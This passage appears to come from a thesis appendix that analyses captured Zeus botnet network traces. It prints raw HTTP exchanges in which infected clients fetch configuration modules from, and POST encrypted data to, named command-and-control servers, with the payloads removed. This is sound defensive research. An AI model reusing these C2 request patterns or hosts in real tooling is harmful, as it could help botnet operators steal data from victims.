These files were even located at the same relative paths on the respective servers. In both
sample files the POST method was also used with a resource named “gate.php” to send
encrypted information from the client to the server. The patterns of usage of this
technique were very similar in content and timing. In the previous file (2d7), sets of five
“gate.php” requests were sent after receipt of the three previously mentioned files using
the “file.php” requests. In this file (9ca), one set of six “gate.php” requests was sent,
followed three minutes later by one set of five. Highlighting the difference in the number
of requests was a GET request for a resource named “file.exe” after the set of six
“gate.php” requests. Moreover, one of the six requests had a longer response, 132 bytes
instead of 64 bytes, suggesting that this extra request included instructions in its response
to retrieve this file from a different server. Also interesting was the internal name,
BCoin.exe, of the supplied Windows executable file. Very little information could be
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found on the Internet about this particular file. However, its name suggests potential use
with BitCoin electronic currency. Mohaisen and Alrawi (2013) reported that bitcoin
mining was among the features of new Zeus variants.
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Sample File 054 collected on 28 Mar 2014 with total time 5 minutes 21 seconds
This network trace sample file consisted of seven successful TCP connections as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case an IP address was
specified for the suspicious server.
Table A-54: Summary of Connections in File 054
Source Port

Destination IP

HTTP Host Header

DNS?

1029

92.63.98.3

92.63.98.3

n/a

1031

173.194.70.106

www.google.com

Yes

1032

173.194.70.94

www.google.de

Yes

1036

92.63.98.3

92.63.98.3

n/a

1037

92.63.98.3

92.63.98.3

n/a

1038

173.194.70.106

www.google.com

Yes

1039

173.194.70.94

www.google.de

Yes

First Connection: Source Port 1029, Destination IP 92.63.98.3
The HTTP content over this TCP connection consisted of five requests from the local
client to the remote server with five corresponding responses from the remote server.
The first request, a GET method, specified a resource named “config.bin” along with its
relative path. The request did not include a message body, only headers. The first
request was 167 bytes before the packet overhead. The first response, with Successful
code 200 OK, did include a message body with no readable text. The first response was
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36329 bytes before packet overhead. The request’s Accept header specified “*/*” to
allow any media type. The request’s Host header specified an explicit IP address rather
than a domain name. The request’s Cache-Control header specified No-Cache to prevent
caching of the request. The response’s Server header specified nginx as the software
handling the request. The response’s Content-Type and Content-Length headers
specified that the resource was a binary stream (application/octet-stream) of 36080 bytes.
The response’s Date and Last-Modified headers specified the date-time of the message
and of the requested resource. The response’s Connection header specified “keep-alive”
for a persistent connection. The response’s ETag header specified a current value for the
requested entity. The response’s Accept-Ranges header specified bytes to indicate that it
accepts byte-range requests.

GET /hl82ltwxk7/modules/config.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:28:06 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 36080
Last-Modified: Wed, 26 Mar 2014 11:39:17 GMT
ETag: "5332bc65-8cf0"
Accept-Ranges: bytes
( non-readable content removed )
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The second request, a GET method, specified a resource named “mod1.bin” along
with its relative path. The request did not include a message body, only headers. The
second request was 170 bytes before the packet overhead. The second response, with
Successful code 200 OK, included a message body with no readable text. The second
response was 9464 bytes before packet overhead. The same request headers and values
were used as in the first request. The same response headers were also used as in the first
response, with different values for Date, Content-Length, Last-Modified, and ETag.

GET /hl82ltwxk7/modules/mod1.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: 92.63.98.3
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:28:12 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 9216
Last-Modified: Tue, 04 Mar 2014 09:33:03 GMT
ETag: "53159dcf-2400"
Accept-Ranges: bytes
( non-readable content removed )

The third request, a GET method, specified a resource named “mod2.bin” along with
its relative path. The request did not include a message body, only headers. The third
request was 170 bytes before the packet overhead. The third response, with Successful
code 200 OK, included a message body with no readable text. The third response was
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8952 bytes before packet overhead. The same request headers and values were used as in
the first two requests. The same response headers were also used as in the first two
responses, with different values for Date, Content-Length, Last-Modified, and Etag.

GET /hl82ltwxk7/modules/mod2.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: 92.63.98.3
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:28:13 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 8704
Last-Modified: Tue, 04 Mar 2014 09:33:01 GMT
ETag: "53159dcd-2200"
Accept-Ranges: bytes
( non-readable content removed )

The fourth request, a GET method, specified a resource named “mod3.bin” along with
its relative path. The request did not include a message body, only headers. The fourth
request was 170 bytes before the packet overhead. The fourth response, with Successful
code 200 OK, did include a message body with no readable text. The fourth response
was 8440 bytes before packet overhead. The same request headers and values were used
as in the first three requests. The same response headers were also used as in the first
three responses, with different values for Content-Length, Last-Modified, and Etag.

GET /hl82ltwxk7/modules/mod3.bin HTTP/1.1
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Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: 92.63.98.3
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:28:13 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 8192
Last-Modified: Tue, 04 Mar 2014 09:33:02 GMT
ETag: "53159dce-2000"
Accept-Ranges: bytes
( non-readable content removed )

The fifth request, a POST method, specified a resource named “cde.php” along with
its relative path. The request included a message body with no readable text. The fifth
request was 506 bytes before the packet overhead. The fifth response, with Successful
code 200 OK, included a message body with no readable text. The fifth response was
244 bytes before packet overhead. The resource name suggests that the content is PHP
script but it appears as a binary content in the message body. The request’s ContentLength header is used to specify its length. The response also differs significantly from
the previous responses. This time the response’s Content-Type header specifies
Text/Html even though the message body is binary. The response uses the TransferEncoding header and specifies Chunked for the transformation applied to the message
body. The response’s Connection header specifies Close to terminate the persistent
connection. The response also includes an X-Powered-By header specifying PHP/5.4.25
which suggests that version of PHP is being used on the remote server.
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POST /hl82ltwxk7/cde.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Content-Length: 304
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:28:37 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.4.25
( non-readable content removed )

The features of the fifth request-response series seem slightly unusual for the
following reasons: the message body of the POST request was not in the expected text
format, the message body of the response was not in the expected text format, and the
message body of the response was chunked. Chunked encoding is often used to return a
dynamically-generated entity. A zero-sized chunk signals the end of the message body.
Chunked encoding is also generally used with persistent HTTP connections. In this
response the connection was closed with the Connection header.
A whois query reports that IP address 92.63.98.3 is part of a block assigned to a
provider in Irkutsk, Russia. A search of the Zeus Tracker web site produced no results
that matched this IP address.
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For this connection, Argus created one flow for the first GET request and its response,
a second flow for the next three GET requests and their responses, and a third flow for
the POST request and its response.
Table A-55: Flows from First Connection in File 054
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1029

92.63.98.3

80

0.797518

1363

38011

20

31

1029

92.63.98.3

80

1.001453

1452

28422

16

29

1029

92.63.98.3

80

0.373748

680

460

3

4

The differences in byte count, 1196 from the 20 source packets and 1682 from the 31
destination packets in the first flow, 942 from the 16 source packets and 1566 from the 29
destination packets in the second flow, and 174 from the three source packets and 216
from the four destination packets in the third flow, represent the packet overhead from IP
and TCP headers. Average overhead from this remote server is 54.3, 54.0, and 54.0 bytes
per packet, respectively, for the three flows in this connection.

Second Connection: Source Port 1031, Destination IP 173.194.70.106
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server and a corresponding response from the remote server.
The request, a GET method, specified a resource named “webhp” and did not include a
message body, only headers. The request was 152 bytes before the packet overhead. The
response, with Redirection code 302 Found, did include a message body in the form of
HTML. The response was 1125 bytes before packet overhead. This exchange was an
example of the Google Webhp redirect and beyond the scope of this work.
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GET /webhp HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Location:
http://www.google.de/webhp?gfe_rd=ctrl&ei=RNA0U8ecKYuV_AaG2YDoAw&gws_rd
=cr
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=55285ca6ac9ee775:FF=0:TM=1395970116:LM=1395970116:S=CoTFyt1zG5X
oSVIk; expires=Sun, 27-Mar-2016 01:28:36 GMT; path=/;
domain=.google.com
Set-Cookie:
NID=67=RcwnxF43KollBCOM287KAnUCqiko0zDY4itMzoNUEd0oRBFMLpiDUVvYI8a_gmv0
j-ORrHi2X2NuBWObMG-6rs4t53f6M90U_jyTgARunodE-xE-Nf5GbL4ZEQoxLGKR;
expires=Sat, 27-Sep-2014 01:28:36 GMT; path=/; domain=.google.com;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Date: Fri, 28 Mar 2014 01:28:36 GMT
Server: gws
Content-Length: 279
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
( html content removed )
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A whois query reports that IP address 173.194.70.106 is part of a block assigned to
Google, Inc. in Mountain View, California. This is consistent with the web site specified
by the Host header. A search of the Zeus Tracker web site produced no results that
matched this IP address.
For this connection, Argus created one flow for the GET request and its response, and
a second flow for the single reset (RST) packet sent three minutes after the response.
Table A-56: Flows from Second Connection in File 054
sport

daddr

dport

dur

sbytes dbytes spkts dpkts

1031 173.194.70.106

80

0.445003

388

1295

4

3

1031 173.194.70.106

80

0

60

0

1

0

The first flow includes the request and response messages. The differences in byte count,
236 from the four source packets and 170 from the three destination packets, represent
the packet overhead from IP and TCP headers. Average overhead from this remote server
is 56.7 bytes per packet in this connection.

Third Connection: Source Port 1032, Destination IP 173.194.70.94
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server and a corresponding response from the remote server.
The request, a GET method, did not include a message body, only headers. The request
was for the resource provided in the Location header of the response in the previous
connection. A corresponding DNS query occurred between the two connections based on
the domain name in that Location header. The DNS query of “www.google.de” returned
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the IP address 173.194.70.94 used in this connection. This exchange was an example of
the Google Webhp redirect and beyond the scope of this work.

GET /webhp?gfe_rd=ctrl&ei=RNA0U8ecKYuV_AaG2YDoAw&gws_rd=cr HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.de
Cache-Control: no-cache
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 01:28:37 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=faf0ff2cee6827d3:FF=0:TM=1395970117:LM=1395970117:S=2KxkWYcMGR0
8IQmT; expires=Sun, 27-Mar-2016 01:28:37 GMT; path=/; domain=.google.de
Set-Cookie: NID=67=n06nDhFEr7EgebUGqZD0d2WoNYfcv1pAZwVv8JL7Nj5u2vgkpLbCyBUhdPc4s2wQHXacBeAdV7XKaOhh7aak2Mv8Hx8k9Yj5NieWb5slutiNBJAnt1nG6vLtnFuzZL; expires=Sat, 27-Sep-2014
01:28:37 GMT; path=/; domain=.google.de; HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Transfer-Encoding: chunked
( html/script content removed )
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A whois query reports that IP address 173.194.70.94 is also part of a block assigned to
Google, Inc. in Mountain View, California. Again, this is consistent with the web site
specified by the Host header. Interestingly, a search of the Zeus Tracker web site
produced a positive result for this IP address in its historical results for Zeus command
and control servers. Figure n illustrates this result. This is likely a false positive.

Figure A-3: Positive ZeuS Tracker Results for 173.194.70.94

For this connection, Argus created one flow for the GET request and its response, and
a second flow for the single reset packet sent three minutes after the response.
Table A-57: Flows from Third Connection in File 054
sport

daddr

dport

1032 173.194.70.94

80

1032 173.194.70.94

80

dur

sbytes dbytes spkts dpkts

0.736667 1119
0

60

30596

15

25

0

1

0
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Fourth Connection: Source Port 1036, Destination IP 92.63.98.3
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server and a corresponding response from the remote server.
The request, a POST method, and its response are nearly identical to those in the previous
connection over source port 1029. One notable difference is the value of the ContentLength header of the request, 400 (bytes) in this request compared with 304 in the
previous. The request and response message bodies contained unique content.

POST /hl82ltwxk7/cde.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Content-Length: 400
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:31:36 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.4.25
( non-readable content removed )

For this connection, Argus created a single flow.
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Table A-58: Flows from Fourth Connection in File 054

sport
1036

daddr
92.63.98.3

dport
80

dur
0.545857

sbytes

dbytes

spkts

dpkts

898

522

5

5

Fifth Connection: Source Port 1037, Destination IP 92.63.98.3
The HTTP content over this TCP connection consisted of four requests from the local
client to the remote server and four corresponding responses from the remote server. The
content of these GET method requests and their responses is effectively the same as those
from the earlier connection over source port 1029. Only the value of the time in the Date
header of the responses is different. Each response time is within one second of being
exactly four minutes later than its counterpart in the previous connection.

GET /hl82ltwxk7/modules/config.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:32:07 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 36080
Last-Modified: Wed, 26 Mar 2014 11:39:17 GMT
ETag: "5332bc65-8cf0"
Accept-Ranges: bytes
( non-readable content removed )
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GET /hl82ltwxk7/modules/mod1.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: 92.63.98.3
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:32:13 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 9216
Last-Modified: Tue, 04 Mar 2014 09:33:03 GMT
ETag: "53159dcf-2400"
Accept-Ranges: bytes
( non-readable content removed )

GET /hl82ltwxk7/modules/mod2.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:32:13 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 8704
Last-Modified: Tue, 04 Mar 2014 09:33:01 GMT
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ETag: "53159dcd-2200"
Accept-Ranges: bytes
( non-readable content removed )

GET /hl82ltwxk7/modules/mod3.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: 92.63.98.3
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 01:32:14 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 8192
Last-Modified: Tue, 04 Mar 2014 09:33:02 GMT
ETag: "53159dce-2000"
Accept-Ranges: bytes
( non-readable content removed )

For this connection, Argus created two flows, one for the first GET request and its
response, and another for the next three GET requests and their responses. The first flow
has the same byte and packet counts as its earlier counterpart. The second has 10 fewer
source bytes, 162 more destination bytes, and three more destination packets.
Table A-59: Flows from Fifth Connection in File 054
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1037

92.63.98.3

80

0.781075

1363

38011

20

31

1037

92.63.98.3

80

0.913748

1442

28584

16

32
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Sixth Connection: Source Port 1038, Destination IP 173.194.70.106
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server and a corresponding response from the remote server. As
with the previous connection to this server on source port 1031, this GET method request
did not include a message body. Unlike the previous connection, this request included a
Cookie header with corresponding value.

GET /webhp HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache
Cookie:
PREF=ID=55285ca6ac9ee775:FF=0:TM=1395970116:LM=1395970116:S=CoTFyt1zG5X
oSVIk;
NID=67=RcwnxF43KollBCOM287KAnUCqiko0zDY4itMzoNUEd0oRBFMLpiDUVvYI8a_gmv0
j-ORrHi2X2NuBWObMG-6rs4t53f6M90U_jyTgARunodE-xE-Nf5GbL4ZEQoxLGKR

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location:
http://www.google.de/webhp?gfe_rd=cr&ei=NdE0U7zKO8mT_AbUhICQCw
Content-Length: 263
Date: Fri, 28 Mar 2014 01:32:37 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
( html content removed )
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For this connection, Argus created one flow for the GET request and its response. The
sample trace file ends within two seconds of this connection so subsequent reset packet is
not observed in this case.
Table A-60: Flows from Sixth Connection in File 054
sport

daddr

1038 173.194.70.106

dport

dur

80

0.545044

sbytes dbytes spkts dpkts
671

1278

5

4

Seventh Connection: Source Port 1039, Destination IP 173.194.70.94
The HTTP content over this TCP connection consisted of one request from the local
client to the remote server. The sample trace file ended before the response was observed
in this case. The GET method request was again for the resource provided in the
Location header of the previous connection’s response.

GET /webhp?gfe_rd=cr&ei=NdE0U7zKO8mT_AbUhICQCw HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
PREF=ID=faf0ff2cee6827d3:FF=0:TM=1395970117:LM=1395970117:S=2KxkWYcMGR0
8IQmT; NID=67=n06nDhFEr7EgebUGqZD0d2WoNYfcv1pAZwVv8JL7Nj5u2vgkpLbCyBUhdPc4s2wQHXacBeAdV7XKaOhh7aak2Mv8Hx8k9Yj5NieWb5slutiNBJAnt1nG6vLtnFuzZL
Host: www.google.de

For this connection, Argus created one flow for the GET request. The sample trace
file ends immediately thereafter.
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Table A-61: Flows from Seventh Connection in File 054
sport

daddr

1039 173.194.70.94

dport

dur

80

0.070219

sbytes dbytes spkts dpkts
610

62

3

1

The behavior observed in the connections of this sample file (054) was very similar to
that reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod,
Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro,
Palanques, and Vila (2013). The infected client appeared to request updated
configuration files with a GET method and “config.bin” resource, as reported by
Binsalleeh et al. (2010) and Riccardi et al. (2013). The same method was used to request
three additional files (mod1.bin, mod2.bin, mod3.bin) which likely contained
supplemental configuration information. The client then used a POST method with
encrypted message body to send information back to the server. In this case the resource
was named “cde.php” as opposed to the resource named “gate.php” reported by
Binsalleeh et al. and Riccardi et al. The requests for configuration files were repeated at
four minutes intervals. The requests to send information were repeated at three minute
intervals. Even though the responses to the POST requests were chunked and therefore
did not contain a Content-Length header, they were both 64 bytes in length.
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Sample File 3f9 collected on 30 Mar 2014 with total time 4 minutes 52 seconds
This network trace sample file consisted of seven successful TCP connections, as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case domain names were
specified for the suspicious servers.
Table A-62: Summary of Connections in File 3f9
Source Port

Destination IP

HTTP Host Header

DNS?

1030

184.22.237.213

crayolabank.ru

Yes

1031

184.22.237.213

crayolabank.ru

n/a

1032

184.22.237.213

bingbangtheory.ru

Yes

1033

173.194.112.82

www.google.com

Yes

1034

173.194.112.88

www.google.de

Yes

1038

184.22.237.213

bingbangtheory.ru

n/a

1039

184.22.237.213

crayolabank.ru

n/a

First Connection: Source Port 1030, Destination IP 184.22.237.213
The HTTP content over this TCP connection consisted of six requests from the local
client to the remote server with corresponding responses from the remote server. Each
request used the POST method specifying a resource named “file.php” and included a
message body with no readable text. The length of the message bodies was 128 bytes for
each of the first four and 131 bytes for the last two. The content of the first two message
bodies was the same, the content of the second two message bodies was also the same but
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different than that of the first two, and the content of the third two message bodies were
unique. The Cache-Control header with No-Cache token was used to prevent caching
along the request chain. In each case the server responded with status code 404 Not
Found. No message bodies were included in these responses. No unusual headers were
used.

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:12 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
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( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:12 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:12 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
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Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:13 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:13 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=96
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Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:14 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=95
Connection: Keep-Alive
Content-Type: text/html

A query of ZeuS Tracker produced a match for the IP address and domain name of the
server observed in this connection. A query using whois indicated that this IP address
belongs to a block assigned to an entity without location details. The domain name was
registered on 27 February 2014 to a “private person” without further details.
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Figure A-4: Positive ZeuS Tracker Results for 184.22.237.213

For this connection, Argus created three flows, one for the HTTP requests and
responses, and two with the packets to close the connection.
Table A-63: Flows from First Connection in File 3f9
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1030

184.22.237.213

80

2.585317

2570

1971

10

8

1030

184.22.237.213

80

0.000000

60

54

1

1

1030

184.22.237.213

80

0.000000

60

0

1

0

Second Connection: Source Port 1031, Destination IP 184.22.237.213
The HTTP content over this TCP connection consisted of three requests from the local
client to the remote server with corresponding responses from the remote server. The
first request, a POST method, specified a resource named “file.php” along with its
relative path. The request contained a message body with no readable text and a length
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of 122 bytes. The response, successful status code 200 OK, also contained a message
body with no readable text. The response included a Content-Disposition header
specifying that the content should be handled as a file named “config.dll” and a ContentType header specifying Application/Octet-stream for the content. The length of the
response message body was 30368 bytes. Keep-Alive was specified using the
Connection header for a persistent connection, suggesting that additional exchanges
would follow.

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Sun, 30 Mar 2014 13:05:12 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
Content-Length: 30368
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
( non-readable content removed )

288

The next two requests were also POST methods specifying a resource named
“file.php” and included message bodies with no readable text. Although the length of
their message bodies was the same, 131 bytes, their content was different. Both elicited
responses with error status code 404 Not Found. Neither of the responses included a
message body.

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:13 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: crayolabank.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
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( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:14 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: text/html

For this connection, Argus created three flows, one for the HTTP requests and
responses, and two with the packets to close the connection.
Table A-64: Flows from Second Connection in File 3f9
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1031

184.22.237.213

80

2.786054

2303

32821

22

29

1031

184.22.237.213

80

0.000000

60

54

1

1

1031

184.22.237.213

80

0.000000

60

0

1

0

Third Connection: Source Port 1032, Destination IP 184.22.237.213
The HTTP content over this TCP connection with a new remote server consisted of
five requests from the local client to the remote server with corresponding responses from
the remote server. The first four requests were again POST methods specifying a
resource named “file.php” and included message bodies with no readable text. The
length of the four message bodies was the same, 131 bytes, but the content changed after
the first two for the second two. The second pair followed the first pair by ten seconds.
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All requests elicited responses with error status code 404 Not Found. None of the
responses included a message body.

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:25 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:25 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:35 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.4.26-1~dotdeb.0
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Content-Type: text/html

POST /net/file.php HTTP/1.1
Accept: */*

292

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bingbangtheory.ru
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 404 Not Found
Date: Sun, 30 Mar 2014 13:05:36 GMT
Server: Apache/2.2.16 (Debian)
